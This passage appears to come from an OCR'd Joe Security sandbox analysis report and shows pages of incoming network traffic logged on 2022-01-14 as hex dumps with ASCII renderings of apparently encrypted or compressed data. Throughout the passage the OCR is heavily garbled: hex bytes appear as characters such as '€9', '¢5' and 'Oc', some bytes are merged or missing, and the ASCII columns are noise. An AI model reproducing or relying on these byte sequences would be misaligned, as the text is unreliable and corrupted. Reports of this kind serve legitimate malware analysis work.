06 ed 62 1f b3 99 90 Oc 61 87 42 d7 ac 6f b4 5d f7 el 78 01 7f 47 25 e8 79 69 66 b5 f2 9a 0d {7 db fa 2e 6d 8a €9 03 67 c6
b5 79 2f 18 a7 fe 78 21 ec 39 28 40 73 6f dd 7c 1e 08 1c 37 a5 e5 14 c4 0b f3 4c bc 5d 99 9a 95 77 fe a4 58 45 6b 1c bc bz
42 22 d8 db 43 a2 97 17 62 96 ee c9 11 9d 49
Data Ascii: KqwZBF<L,J7:eqw("o;WfJk6kq~6.N=L:::_1r}rRyTdj-f8!8g>qUTHIy#mkhc>qg[vbaBo]xG%yif. mgy/x!9(
@so|7L]JwXEkB"Cbl

2022-01-14 03:59:52 UTC 6270 IN Data Raw: 53 f4 56 99 30 4e 17 6d 37 ec ba 90 5c 5b 2e bc 47 22 f0 3b f9 6¢ e2 ef e3 b9 3a 5e 9c¢ 3a 50 12 e8 85 a2 5f d3
b6 79 40 Ob a8 fd 1d 89 d6 29 a4 9c 22 22 2a 15 Ob Of 77 b4 13 83 b8 f9 8e b0 cf 80 ed 1a cb 57 8¢ 3 c6 bd 80 2b 4e be
45 25 99 47 ea 05 52 2¢ 12 a0 af e9 3a c8 ca 33 ¢5 9d c4 cd 63 fd 5¢ 81 ea f4 6¢ 86 fc 63 8d d9 91 82 63 3b 8d 9f b8 83 c1
d5 e0 84 b6 7e 3a ed c3 79 3f 28 51 3f 62 a2 aa af ae 27 4c a0 1d 9d 70 5d 10 9c 55 cf 75 ¢8 2d 70 ee c7 f3 1d 44 60 cb
2889 d1 0Oa e8 e3 b6 6a 1f 51 46 f8 66 fe 9c 2d 84 f9 ab 71 a5 ce d6 91 67 69 06 58 66 fa 4a fe 50 87 33 97 04 f4 d4 19 la
1913 26 la aa 76 3b €9 c5 89 c0 48 c7 73 bb e4 34 7c e7 4c 5d 45 82 8d 15 27 el 4c 04 97 17 de ee 68 5f b4 43 93 d9 5a
77 07 3b 87 d6 d4 10 03 a3 3f 70 53 6e f8 07 3c
Data Ascii: SVONm7\[.G";|:::P_y@)"*WW+NE%GR,:3c\lcc;~:y?(Q?b'Lp]Uu-pD’ (jQFf-qgiXfIP3&v;Hs4|L]E'Lh_CZw;?pSn<

2022-01-14 03:59:52 UTC 6286 IN Data Raw: a0 24 ed f6 c6 91 33 f5 14 45 71 f6 b2 ed 86 b7 52 ba ee b9 2c 7e 1a 41 7b ac 8a 85 82 57 1a fa 5f 4f f9 e8 35
fd 91 Ob fa 11 49 f6 98 bf f0 29 36 cb 8e c7 b6 1a 71 f3 c4 b5 c1 09 5e db 49 25 9e e4 00 ec 6d 5a a5 16 74 Oa eb d7 ec de
2f 84 30 7d 2e 17 74 ce 72 ae f6 a5 f6 bb cf 9a ac 1a 31 6¢ c2 6¢ f1 8f 2f 8e 61 26 f9 ed b1 66 ad a6 d3 c0 9b 61 a8 08 92
c2 0e 4e 3b a3 06 1c c0 66 a7 95 f1 3e 75 75 b8 01 a9 a8 49 al ef 52 90 bd 51 00 44 be ba 98 d7 50 7a a8 7f ce 5d c1 97
Oa 1d 5b e8 a3 57 03 d2 55 81 d2 65 al da e5 b2 fO 6b de 82 a4 66 58 d4 6f d1 a9 ba 99 90 4d c2 f8 7e 13 bd 4a 58 15 48
39 78 e4 b9 6a d8 7e 85 2a c0 09 0d 9c a4 04 88 e8 1a 6e ec a9 82 fe Of 3b 11 d9 41 Oc e5 cc a6 16 f2 dd d5 89 42 91 b8
a8 7a c8 60 c1 f1 27 83 da 27 d4 6a ca f3 8¢ d4
Data Ascii: $3EqR,~A{W_051)6q"1%mZt/0}.tr1ll/a&faN;f>uulRQDPz][WUekfXoM~IXHIxj~*n;ABZ ™"

2022-01-14 03:59:52 UTC 6302 IN Data Raw: d3 22 4c 4d bb 76 ad 1f 25 7c 15 df 5a 93 54 cd ff 78 96 96 be c7 bf ed 3b 86 €5 d0 e3 8a 8d b6 e5 al 8e 9c c6
a7 1f db c5 72 5¢ 5f b3 f4 2e a9 33 6a 40 fe 6¢ f2 01 4a 15 78 c0 07 35 f1 €0 4f 6d a7 €6 ¢8 2d b3 8a d4 €9 eb 14 a2 e5 03
b6 12 3a de 8b cc 63 17 a3 a8 65 9c 06 4e 27 45 fd a3 20 c1 60 36 Oe bf b4 c2 f7 92 b0 8c 47 2d 30 28 ff 61 97 e3 df 7a 96
b9 51 49 e8 35 5a 22 9e cb 14 fb 83 8d 5a 0d 13 f6 4e ec b1 39 05 e4 4e c4 63 d7 32 ff 33 50 ed 2¢ 9d 51 88 61 33 70 a5
ae 1c 3e 84 f2 2e a4 Oe 56 b8 4c e5 29 31 09 57 eb df d4 e4 b7 fd 6 31 65 19 96 62 2d 6a 4d 37 e7 2b ba e9 59 ee 9e 82
af 53 dc 62 d7 e4 7d c4 8d a3 d3 bf b4 8a 21 44 10 ba 16 8a 28 59 5d 4b Of 4c a8 49 ac 63 91 c4 16 48 66 9f 14 02 e9 2a
19 2c fe 97 76 7f 33 58 ab f5 5a 9a 1f 36 49 2b
Data Ascii: "LMv%|ZTx;r\_.3j@1Ix50m-:ceN'E "6G-0(azQI5Z"ZN9Nc23P,Qa3p>.VL)1W1leb-jM7+YSb}D(Y]KLIcHf*
LV3XZ61+

2022-01-14 03:59:52 UTC 6318 IN Data Raw: ff 76 43 03 ac 20 12 85 38 45 18 f4 32 ¢5 69 44 ae cd 65 d7 bd f1 7d 15 7 ac 9 82 ff 16 e6 de ff cb c2 8c 1b 40
7a 4d 13 d7 b9 56 08 c4 65 4e db Oe 39 68 2e a5 6e df 95 7c 1d 5f 17 76 85 22 4d 52 bb f5 c1 7b 59 5e 43 89 83 05 8d a5
cb 41 e7c15289 17 54 e7 47 01 75 af 94 4e 3e 7f 5d 3c dc 10 92 42 8c 4d 3b a0 db df 7b df 2e 8f dc b5 3c 08 3b 35 3b
13 ac 2b 29 34 d3 d8 50 9f 6e 55 17 9c 9c c2 e0 ae fa 4d 1c 90 6b 90 52 bc 7b 2¢ 60 ea 46 92 d2 e4 15 03 04 52 4a de f5
€6 89 13 e2 c2 1b 55 64 Ob 3c €9 49 5a 68 a9 f6 9a 75 5b 3c 1c 11 68 e7 37 d9 cf 93 7a Of 7f 09 ad c2 fe 1f 91 a2 45 40 e6
b8 7a e2 13 62 39 55 8¢ 9d ce ea df 29 al d2 8f ¢8 69 90 59 57 6b 3a 8c 5d 69 2c f9 5e 44 59 ec Oe 8a be 1a f4 64 db bc
26 24 6e 65 66 08 ff 85 80 6¢ 9f 40 75 34 bb b0
Data Ascii: vC 8E2iDe}@zMVeN9h.n|_v'MR{YACARTGUN>]<BM;{.<;5;+)4PnUMKR{,"FRIJUd<IZhu[<h7zE@Zzb9U)iYWk:]
i,"DYd&$nefl@us
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kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6334 IN Data Raw: a4 ce cf 58 32 8d 9c 81 47 d7 f2 4e a0 60 2c 94 7c fe 57 46 ca 4e d1 86 c5 98 76 d9 5a b3 15 5f bb b9 70 91 4f
5d a5 58 6¢ c9 Oe b3 ac 84 57 2e 3¢ 7b 0d 4f 97 11 74 f5 6e 4c a8 70 2e 1f 86 97 5d 9e 68 00 a0 03 72 12 c3 a3 3f c0 09
70 32 5e 34 de 02 86 1a a3 82 42 cd 75 de 6a 48 99 4a 6e d4 eb e8 c1 97 a7 98 da 54 5a bb 19 aa 7f 88 42 f0 4e 18 bc el
29 1a 66 7a €5 53 66 81 e4 7 c6 2d 03 d2 dO ff 06 fa 90 el fa 94 7b a4 72 47 91 41 37 1e 11 43 39 19 75 54 66 06 b9 e6
95 €6 87 49 28 4b fd f2 52 04 79 03 ae 2d 74 c6 03 c2 96 20 cc 9e d0 85 13 dd a3 35 29 4a 43 9a 87 ae 62 9c 6¢ 9b 09 03
fa 55 dc 53 48 4d af e5 67 3b 75 65 66 c1 9d 5f 01 ea 5a 5e 4e 53 78 bc 6b 4b 9e ea 73 €9 2e 01 34 9f 2b 87 43 e6 ea 37
ec a2 Ob 83 c8 1b 47 df e5 97 19 4b b8 dc d6 20 46 63
Data Ascii: X2GN",|WFNvZ_pO]XIW.<{OtnLp.]hr?p2"4BujHINnTZBN)fzSf-{rGA7COuTfl(KRy-t 5)JCbIUSHMg;uef_Z"
NSxkKs.4+C7GK Fc

2022-01-14 03:59:52 UTC 6350 IN Data Raw: 77 9e 22 6f 54 d2 7f Oc fd b2 1d 78 95 ac 75 9a 82 76 9f ef 3f 58 ff 78 fd 6¢c 32 8e 39 Oc 65 86 29 df d7 42 d3 e5
9a df 26 f5 13 79 17 23 10 8d 2f 71 76 8e 9f ed 40 07 d8 33 5b 82 1d c4 8b df 1d el fO 5e c4 56 6d 60 7a e9 48 d7 b3 06
73 be 19 f2 b5 48 1f df fe 11 71 24 c1 24 20 2c 8e eb ad 18 93 69 f2 a9 c4 49 b0 32 80 fa f3 24 fe 22 04 72 aa 8b 20 Ob dc
54 d2 96 68 73 71 60 ca 80 al cb 7c 20 29 a6 bc fO ae 70 0a b1 25 25 5c ec cf 37 b0 d0 a7 98 1b 26 41 d3 b0 e9 16 fc 9a
38 b6 84 b9 e0 4a b2 22 66 90 5c f1 aa 24 d2 bc 20 f1 39 43 a8 4d 67 9a 61 07 db c5 38 34 fd 9f 5a 01 b9 9a 22 a9 8f 22
c1 03 ce cbh a7 fd 6e 84 65 64 32 da 72 27 12 Oe c7 61 fb f4 b3 1d bd 49 94 d9 69 a5 6b ab 4b 86 c6 5e a5 b0 22 9a 26 9b
ba cb c3 d8 ae fb c8 8d e4 4f c6 99 c4 ff 1d de
Data Ascii: W"0Txuv?XxI29e)B&y#/qv@3["Vm zHsHg$$ ,il2$"r Thsq'| )p%%\7&A8J"\$ 9CMga84Z" ned2r'alikk "&O

2022-01-14 03:59:52 UTC 6366 IN Data Raw: 65 90 3e ad 9c d1 3d 8d ba 2a 6a 2f 4a eb 37 9f 78 e2 d1 2c c6 ee cc 45 f9 9f 9a c9 de 51 25 44 99 d9 fe e2 4e
e7 38 5d eaf5c5 78 ac 50 03 08 7b 49 c2 6f 09 15 bf ed 18 c9 81 5f 54 5f f8 54 83 df 33 37 9d c4 d3 24 d9 29 1f f6 6a be
58 0d 98 7a ee bb ea a7 f2 3e 96 a7 3f 97 43 1a 61 4e 56 91 7d 94 19 40 91 40 66 76 1la 4d a5 cc bc 3c c4 el 33 74 f1 Ob
b0 21 8a 83 b9 33 16 f5 65 ce 3a d2 48 42 28 83 ed b0 1e cO ec €9 09 0d 36 48 f6 2e 69 1d 78 d6 f5 6f €9 de cb 0d ba bf
33d3 87 00 67 37 68 f7 1a c9 31 4e 6a 30 11 2f e2 3a 2f c3 17 be 80 f4 04 ef d5 41 b4 d5 23 fb 8b 8a 04 2e 68 71 9f c1 e2
4f 63 5¢ 89 94 97 72 ef 27 30 2a b3 d2 ca 44 21 9d 96 29 8c 6b 09 cc 62 ab 19 6b e3 45 a8 74 f6 1c 5d 6f 70 9c d9 8d 6¢
39 1a 06 b0 4c 05 38 32 70 09 01 36 84 71 bd 45
Data Ascii: e>=*j/J7x,EQ%DN8]xP{lo_T_T37%$)jXz>?CaNV}@ @fvM<3t!3e:HB(6H.ixo3g7h1Nj0/:/A#.hqOc\r'0*D!)k
bkEt]opl9L82p6qE

2022-01-14 03:59:52 UTC 6382 IN Data Raw: a4 da f0 51 c5 d4 d9 ea 72 67 ef 9a db f2 13 b0 5a 6b 77 68 24 2a 41 c4 f2 e2 01 69 c0 8f 43 22 91 b4 26 3e 9c
f3 ce ce ac fa ed 24 06 26 76 7e 84 3e Ob 2a 83 a2 fc 78 91 9d 24 3e 60 20 8c a2 2c 77 62 d5 74 27 ca 64 9b f9 c7 d5 e9
fd 88 f7 ee 9b cd db 98 50 cd 82 91 26 dO 94 1c 4e 8f 08 20 7f f9 fa 61 41 87 2b e3 ae 98 0 82 el 9e 95 83 b2 d3 1f 87 45
b2 9d 5e eb 58 €8 9a 56 06 52 €9 91 2d d1 ac 02 7d 9b d3 df 32 a8 1c 62 10 2f 10 fa fa 3d Of 66 6b a8 7b 43 d4 b6 1a db
85 23 f5 cf ed f6 29 28 96 53 60 ad 9f 16 8f 6e fb 55 bf Oc a6 05 3 52 f2 2f 91 26 b7 4f Ob af b9 7c fd 31 70 29 9e 86 6d 76
8c 1d 35 81 84 f6 80 b3 81 9c d1 84 cf 8d d3 ed 81 dd 1f de 53 69 e6 5a 3f 20 96 72 32 2c 4c f6 4d 1b 46 el e5 5d df 69
8e d9 b2 e8 6e 24 b6 cl ea d1 73 6¢ 88 75 ba
Data Ascii: QrgZkwh$*AiC"&>$&v~>*x$>" wbt'dP&N aA+ENXVR-}2b/=fk{C#)(S ' nUR/&O|1p)mv5SiZ? r2,LMF]in$slu

2022-01-14 03:59:52 UTC 6398 IN Data Raw: 9b 5¢ 88 62 71 9b 9e 41 fa c3 0f 36 5e 04 b1 e7 26 96 6f 79 Oe 19 8¢ 27 9b al 52 6b 82 36 41 2a c0 aa ea 32
6505 57 cd 34 ba 24 c¢3 a4 b0 45 d6 86 78 04 be 12 77 f2 a6 87 fd c1 88 24 82 ae 79 89 fa c8 af Oc 63 bc c2 31 98 44 c3
09 2b 54 1c 09 d5 f3 ab 73 €3 04 b9 c4 ff 08 c¢5 07 8f 67 20 f1 ed 91 2a 79 1b 24 f6 5a 62 ea 7b 42 56 72 fc 5¢c €9 a0 d4 70
03 e9c7 7a 06 05 c1 99 43 a3 5f 54 c9 60 75 58 af ae b8 4b 06 76 2f 78 38 fc el a5 c5 Oe cl e2 22 4c 54 86 26 e2 79 b7
56 59 91 a8 68 €9 90 fb 44 b5 c6 1c 1e 79 fe fd 17 3c d1 67 fe 49 1c b2 7a 8b 34 56 79 d1 82 f8 3e 8e 7f 90 5b 06 8d 39 3e
be f7 80 bc 2e ac 79 5¢ 5b 98 d1 e6 b8 ad 75 bf a4 c6 8e 41 c8 12 7a 56 83 e2 Oe 07 €9 ff 44 1d 15 f4 96 5d 0f e2 c1 77 51
58 66 7b 46 81 af cc a8 c3 aa 55 73 4e c9 23 f5
Data Ascii: \bgA6"&oy'Rk6A*2eWASExw$yc1D+Tsg *y$Zb{BVr\pzC_T uXKv/x8"LT&yVYhDy<glz4Vy>[9>.y\[uAzVD]w
QXHFUsN#

2022-01-14 03:59:52 UTC 6414 IN Data Raw: 8¢ 21 4a 99 f6 e4 72 76 db 04 35 94 57 17 3e 90 fO €3 22 ed 7a ab 3c 01 0d 81 50 86 c1 b6 65 40 b4 23 b4 db
06 56 c8 d3 cf 4b 57 aa 77 f7 c2 aa e6 dc 99 bf 9f {7 3c 48 b9 3b 43 7e 6b 23 33 86 84 74 37 86 ed d8 bd f9 62 el 28 6d 23
de 16 66 a3 e0 c6 3e f6 34 5b 22 78 8d 83 1c 91 39 c3 85 4e b7 f0 ea b1l 50 87 a5 Oe bf 9c e0 ac fb ef €9 f8 fd ec a2 fc 81
86 de a3 e9 f9 97 be a2 4a 37 18 3e a6 21 4d 3f 5d a9 2d 60 8e 19 01 d9 ed bb c4 7c d9 7a 85 01 9f b4 c5 16 e5 4c b8 6a
€9 0d 00 8e 96 f1 5¢ 50 ab 01 6d Oc 08 2e 16 13 22 ec 4c 9c Ob 75 5¢ €6 b3 2a a4 df ba 11 54 26 ff a0 ¢3 9d {7 {7 91 3c dO
3d 9e 5f a2 bb 7c 6e 99 bc 6b 6a b6 67 bd 04 61 04 4c 20 1f e2 ca 26 15 12 c9 23 aa a7 be e3 1f 6a 71 c0 86 c8 cc 58 cd
9e 90 06 86 d8 6¢ €6 e3 02 20 8e e4 ef 9f 4a cO
Data Ascii: IJrvBW>"z<Pe @#VKWw<H;C~k#3t7b(m#f>4["x9INPJI7>IM?]-"|zL)\Pm."Lu\*T&<=_|nkjgaL &#jgXI J

2022-01-14 03:59:52 UTC 6430 IN Data Raw: 19 ac af bb 50 bf 14 86 ef Oe 72 b7 57 ab b9 04 98 d9 ce d7 7c e4 06 a2 01 e7 de b6 77 30 d9 {7 24 1f 00 1f ee
9d c5 ab b2 1a e9 61 35 3a 1f 66 11 1f 62 d6 76 ad 56 29 71 7 0a 1b 95 58 74 88 e7 6a 42 24 45 f4 23 84 a8 4e ae ab 7b
22 c3209a a6 7c f9 1f 28 21 ¢3 9¢ 99 5b 25 11 02 8a 9b 93 be 7b ab cb 8e 0a 45 1e 4e 82 el cf 5f c6 e4 4a fb 70 cO b d4
7e ed 6a 06 89 eb 0a 59 e2 ee 24 cd 24 35 33 8f 07 ¢4 5b 74 5d f7 bb 4c 8c ea bb 72 07 b9 a2 56 6¢ 37 20 1d 9b 22 d6 a2
98 85 f0 5f 8b 60 16 da 66 66 28 da a5 e7 d9 62 6 f7 Oe 15 a3 d2 4e f1 78 67 9b c5 52 70 4c 3 0d 85 ff de 1c 1e 9d b6 a0
00 09 31 4f 05 de c0 23 bc 4f 8d 29 59 ¢8 12 12 83 25 0b ac 7c db ff 1b 08 c2 Oe ba da b1 40 23 5 c3 46 f4 41 fd 31 b3 6f
7e 8c f7 3a 88 cc a8 1e 16 7a 28 5a 30 ac 40
Data Ascii: Prw|w0$a5:fovV)gXtBSEAN{" |([%{EN_Jp~jY$$53[tILrVI7 *_ fi(bNxgRpL1O#O)Y%|@#FAlo~:2(Z0@

2022-01-14 03:59:52 UTC 6446 IN Data Raw: 42 92 76 fe 8c 45 69 d4 cf 2b 90 de 46 83 b2 d6 5e a0 14 45 b5 e4 26 b4 82 76 37 19 a2 74 a8 €9 5d 2 ce 6a
25dd 28 49 14 7c e4 bc 6b a3 96 b8 a6 bc 16 a4 94 ef 04 f0 27 1e e5 62 4c f5 68 27 93 49 8b 09 11 2a 42 cf bf 67 1b 33
45 4d 68 05 a4 eb ef 6d Ob fd 25 81 73 85 e2 96 c2 75 85 f9 23 5d d3 ca 13 41 6e 71 83 db e7 11 dd 3e 27 f2 50 5c¢ f6 31
1c 78 dd 8b 22 33 ff a2 af 86 69 7d 1a 38 €5 27 2e b5 7f 47 46 73 70 d3 a7 ee 4a e2 66 27 ea 29 51 f2 11 54 e4 5a 52 1e
1la 0a 20 fb 64 ba a3 bc 26 a2 04 47 1d 2b c6 02 b5 e5 c7 9e 58 0a 45 ce 5d 6b 8b 89 81 f6 cd 75 2 4e 14 d9 4a b5 06 a4
da 35 80 11 52 9f 7e ea a8 bb 25 57 16 21 fc 79 83 e2 de c9 93 06 00 d9 40 8e 05 23 51 5d bb 12 7d 14 62 Oe 70 52 34 a9
c5 63 6f e0 c6 ae da 19 ¢3 11 28 ba c3 7a a7 20 ea 53 35
Data Ascii: BVEi+F E&V7t]j%(I|k'bLh'I*"Bg3EMhm%su#|Ang>'P\1x"3i}8'.GFspJf)QTZR d&G+XE]KUNJSR~%W!y@#Q
1}bpR4co(z S5

2022-01-14 03:59:52 UTC 6462 IN Data Raw: 8a d3 27 fa 74 79 a4 28 92 1a d3 a7 6b 6f cf €8 a6 de 5b 7d e0 8c 77 69 Ob b2 9b {7 el 6e c5 12 e6 f9 50 d9 eb
f2 52 24 91 de bc 16 08 a6 dc 3a 65 de 22 e6 7 7c 59 48 b4 3a f6 1c 1d 19 a5 e5 a0 90 91 fe 31 09 a4 47 bd 00 b6 bc b4
00 Oe 1d de fb 5 3c b1l 26 2e 11 ca 99 e5 2e a9 34 85 66 b8 68 48 a9 50 0a 53 e5 9b be 02 e5 1f Of 06 57 68 7f bf 61 28
0d 5d Oc 4e c4 70 a4 7f 6f ¢6 8c d2 3c 5d 9f 1e f1 96 6b d8 e7 9b c5 6a ca 37 10 ad 19 d9 e0 ea 7d 5d 7a a8 2a 26 4f f6 86
Oc 9c 9d 3a 6a fe 2b 28 b4 41 c5 dc 5¢ 2a 2a bc 6d ee 85 4b 75 9c¢ f1 44 20 08 13 d1 7e cd c6 9b 5d 4e 61 c1 ba 43 ff 12
4b 99 63 96 33 5d 34 ba a5 57 04 a6 2a ac 5d 31 61 bc 06 3a 22 db f2 7b 6¢ 48 c6 e0 82 ee 57 36 9f 9c 13 13 aa 77 01 52
1 4f cb db 9e a6 a7 7 4b f9 5e f0 33 f8 4c 3f 80
Data Ascii: 'ty(ko[jwinPR$:e"| YH:1G<&..4thHPSWha(INpo<]kj7}]z*&O:j+(A\*mKuD ~]NaCKc3]4W*]1a:"{IHW6WROKA3L?

Copyright Joe Security LLC 2022 Page 117 of 135



kBytes
Timestamp transferred Direction Data

2022-01-14 03:59:52 UTC 6478 IN Data Raw: 20 7c 97 5d 76 16 fd 35 4 d1 4f 45 b6 6b 80 f9 68 37 f1 ce 55 b6 c0 8f b2 4e 81 dc 53 3d 15 77 ac d6 cd 36 d9
3f 18 7e 8 63 f4 bf 4b d2 62 11 ab 8b 30 ea 10 f6 83 bf d6 0d d0 4f dc 67 08 1b 2d fO 51 12 74 ab 37 51 4d c9 9a 43 5b af
16 82 cad0 ca 11 86 8b ae al 5a eb d6 84 ae 28 71 d5 79 0d el bc 43 f2 72 02 51 b2 77 8f 80 bd 04 b2 23 0a 8b 95 43 7b
5e fb eb 37 e0 c4 Oc 8d €9 f2 dc 2d d9 e6 27 f2 29 a6 40 90 e0 dO e6 58 d2 bf 6e e4 74 7e dc 2a 11 60 be 77 62 5e 90 b0
4c ed 43 36 1f €9 54 b8 9c 19 b4 c5 b9 4c 8a 29 55 70 9d ff 12 ed 8a 69 63 b4 61 d8 48 fd e6 39 02 68 54 ac 0f 89 6b 69
e2 a4 58 c7 1e 8e fb 5a db af 54 06 43 15 9b 45 Oc f2 1e 32 73 91 6f 21 fb a9 30 13 2c 5b 55 42 49 78 d6 a8 52 70 99 ed
aa 75 1f 50 37 26 0f 14 fc 41 df 68 7a 76 25 3a Oa
Data Ascii: [[v5OEkh7UNS=w6?~cKb00g-Qt7QMCI[Z(qyCrQw#C{"7-")@Xnt~* wb"LC6TL)UpicaHIhTkiXZTCE2s0!0,[U
BIXRpuP7&Ahzv%:

2022-01-14 03:59:52 UTC 6494 IN Data Raw: ed 6d a5 90 c9 62 f1 51 d3 b9 97 79 ec 64 af a9 9 54 c6 61 4c be 51 83 b2 6b 8f 2e c6 80 ab de 19 9d 1d b6
55 bd c9 dO 5¢ a4 2d da af 71 73 53 f1 a9 b2 9e 6e 6e 44 1a 19 8b fb a7 ae 8f f4 82 9e ff 4f ac cb 27 6b 32 92 5¢ b0 aa 07
16 58 20 0f 40 54 eb 9b fa b2 19 1d al cb 53 77 3d a4 5d 5b bc 7f 40 7 7b 65 c5 10 7e ee d2 b8 37 58 2d e0 f7 9f 64 96
79 de 67 45 d2 1e f7 01 68 6d b6 c2 55 09 cf 53 Of df 5b 96 84 55 d8 88 d2 02 9c b9 c5 53 fa d3 f2 f3 2f 13 3b 9e d1 4b 20
90 8a 6b 0Oa 3a 65 2e 6e 5a 97 bb b0 45 3e 71 39 80 fc ae b5 26 64 2e e7 4b eb 74 6f 37 35 64 8f 4b 34 92 07 d6 ff c4 aa
1b 5f 24 df 81 37 de 42 4f 1e d6 17 b3 a7 20 80 a8 11 df 53 1f 32 f6 33 €3 50 3a ab c7 7e 76 el 15 ca c3 €3 50 20 15 09
dd 4c 7d cd a9 92 e3 63 50 a4 78 bf 14 ac b0 bf 50
Data Ascii: mbQydTaLQk.U\-gsSnnDO'k2\X @ TSw=][@{e~7X-dygEhmUS[US/;K k:e.nZE>q9&d.Kto75dK4_$7BO S23P:
~VP L}cPxP

2022-01-14 03:59:52 UTC 6510 IN Data Raw: ed 8c f1 3c 86 15 69 ff 08 de a8 6f d8 8d 5f 02 69 da 87 11 2e ab 23 00 89 bd c5 b0 1c a3 1b 6f fa dd cd ff b7 25
91 2e 36 €9 47 40 e4 73 82 20 03 ec 8a 21 00 90 13 fO b6 60 17 8a 2d 86 ef d0 54 46 ff 62 33 5e 27 01 4a 4f ed a9 2d 8e
le 47 c7 e4 fe 68 d6 25 23 ed 50 f5 9c ed 71 ¢8 bd 34 59 20 7b 09 db 41 60 03 ca 58 9d el 49 99 9d 07 3c Oc ee 3f 35 12
ca 5c 3e 34 ad 03 09 5e 12 72 Oa 7f e0 39 eb ca a3 45 3 13 b6 38 3c 65 ee a3 05 b2 6e 5d ab 84 83 eb a4 el ac e8 48 be
9387 ed 79 d4 el 63 95 €6 95 2b fa 48 42 22 86 57 ef 21 9f f8 ff f3 eb 1c 8b 1e 16 ea 46 cf 36 7b 41 ce 53 ad 2a 15 80 d5
59 e4 5f 37 06 35 4c 86 22 b8 43 8f be 4f 4e a4 69 91 67 52 €0 d7 05 69 81 ee ca Oc f1 9a 0d 2c 84 5f a4 78 06 54 39 f0
17 8f ea d5 e8 ¢3 29 38 54 7e f4 19 39 05 68 1a
Data Ascii: <io_i.#0%.6G@s !"-TFb3"JO-Gh%#Pq4Y {A XI<?5\>4"r9E8<en]Hyc+HB"W!F6{AS*Y_75L"CONigRIi,_xT
9)8T~9h

2022-01-14 03:59:52 UTC 6526 IN Data Raw: 48 f1 be d7 b1 9e 85 3c f9 46 4e b7 6b 68 9a 0a ba d9 48 ea d7 06 d2 3a eb 66 6f Of 41 36 7d b0 3b ed 82 €9
ae 9f 14 50 96 4c 68 €6 6f de 80 0f 09 67 Ob d2 ee aa 40 2b a7 d6 27 b5 15 fb be 8c 3d a5 48 81 f3 80 40 d1 d6 bf a3 cd
4a bl f7 5e 15 a8 1b 05 d2 05 d9 b9 17 d1 €9 01 36 77 8b 47 6a 80 28 05 9f 6f 9d el 3f ff 25 28 4a cc c6 ff 32 8e b3 e2 0d
bf 7f 62 ¢9 31 78 9e 90 71 d0 62 a7 38 6d 8a 52 aa 1c aa 99 06 45 Oe 26 fa a8 75 05 8b 94 db 9b 15 1e €0 39 5b cO 79 8a
91 c0 45 4e 09 2f ad ad 09 7d d4 3b d4 c4 41 64 d1 Oc a7 c4 08 fe e5 aa 8b f9 bd 73 el 34 6a c0 72 98 d4 db db 47 dO df
b0 d2 40 85 a6 1d ff 07 8d 06 2f 20 52 33 36 37 fb c9 71 99 33 39 be b0 ea 84 bl 94 9f 21 14 36 fd Ob 52 fO 16 34 a6 eb e2
28 84 c8 2b 99 82 2a 69 3d 2d 91 cd 1f 66 7e 3a le
Data Ascii: H<FNkhH:foA6};PLhog@+'=H@J"6wGj(0?%(J2b1xgb8mRE&UI[YEN/};Ads4irG@/ R367G39!6R4(+*i=-f~:

2022-01-14 03:59:52 UTC 6542 IN Data Raw: 38 25 cf 71 d9 84 85 90 3b b9 d9 d7 e7 cf b5 07 5a 95 66 20 30 56 0d 00 6b el 21 b3 38 79 ae 8c 9e bd a5 26
9807 37 12 a6 71 83 83 08 7f 2b db 3a 93 10 d2 6f 83 Oc 3e c2 74 d0 37 00 ec 10 65 7b 25 b6 28 47 77 ef f6 c4 4d Oc 2c
7100 ab 75 b1 71 e8 d8 ab 53 61 Ob 99 7a 3e 51 e4 02 77 ed da 54 1e 50 39 4e 60 bd 06 f4 03 1c 98 96 c7 {3 b4 26 {3 62
0051 8c ad b6 14 1f 28 23 c3 bd 16 1b b6 77 13 36 cb b1 18 01 fa f2 91 f8 23 f4 b9 4f d5 bb 01 a0 78 al Oc 84 bc 14 36 f1
75 33 ff 16 99 aa fd e4 68 02 63 a0 de 0d e7 91 be de Oe 5f 0d 35 b2 83 9f ff 26 7d c8 de 19 d7 5b 14 bd e0 1a e4 00 d9 35
81 c9 7d b4 3c 46 49 89 39 78 7c dc f4 76 67 50 ad ed bc 58 04 d4 f6 2a 71 5d ee 44 45 d2 12 95 dd 36 d8 74 f1 6a a3 37
ef df 9c 29 ¢7 07 b2 eb 51 ba 55 5¢ el a4 bd d3 9b
Data Ascii: 8%0;Zf OVKk!8y&7q+:0>t7e{%(GwWM,quqSaz>QwTPIN &bQ#w6#0x6u3hc_5&}[5}<FI9x|vgPX*q]DE6tj7)QU\

2022-01-14 03:59:52 UTC 6558 IN Data Raw: 6¢ 8d bd 1e 23 90 81 11 88 c5 1e 45 b3 ca 20 7e 3 28 e7 a5 21 1c 8b a9 Ob 25 6e 1a 7a 1a 27 1 bb 5b €9 29
1d 9 c4 3b 70 98 4f €5 48 46 ba 14 01 82 8d 1f f6 e4 1e 7d 41 da 44 92 a7 99 98 aa 17 20 5e 45 b fe eb 0a c4 33 21 21
1b ba a7 4c 2c 61 96 7d 07 c0 bf 38 08 0f 93 69 0 03 4c €3 61 2 6a dc 17 44 c9 76 fb 19 3d d8 35 1c 94 74 f3 cb 54 64 b3
16 78 40 fe af 3d 61 31 ff d2 2b 56 51 fd 73 a8 a4 4a 8b 36 bb 7d b2 2f 07 e7 d4 45 2 ae 44 fc c1 39 Of 50 9b bf c4 94 76
20 €8 ¢7 70 91 b7 f3 ¢3 42 33 3a d5 9d 32 64 7f 92 09 2d ff a3 f2 fb 8¢ 32 4d 31 b3 ca 7b 30 14 aa f8 d5 c9 95 c3 a4 18 31
64 d3 ¢ 8f 8d c6 83 83 88 bf e4 e7 ac 8b Of cf a7 9e 2f bb d1 62 9b 18 3d f6 f2 €3 b1 ce 24 bl Ob 50 c8 7f 14 67 87 cd {7 3f
2a 53 df e6 1c f5 98 a9 4c d4 58 Oc 95 34
Data Ascii: E ~(1%nz[);0OHF}AD ~E3!IL,a}8iLajDv=5tTdx@=a1+VQsJ6}/EDIPV pB3:2d-2M1{01d/b=$Pg?*SLX4

2022-01-14 03:59:52 UTC 6574 IN Data Raw: 4f 4b 96 1a 51 e3 ce e0 91 dd 37 cd fd 86 33 f0 bf cf ba ae 4f 16 ce 27 c1 e7 a8 e2 d6 f8 fb ed 9b f5 6f 8¢ d5 61
ab 45 0f ca 7d 70 69 29 2e 20 05 05 26 65 bf al 9f 4d 42 cf 20 84 6e 25 73 52 2e 06 8f de 88 28 {7 26 Oe 76 8e 4b c9 a8
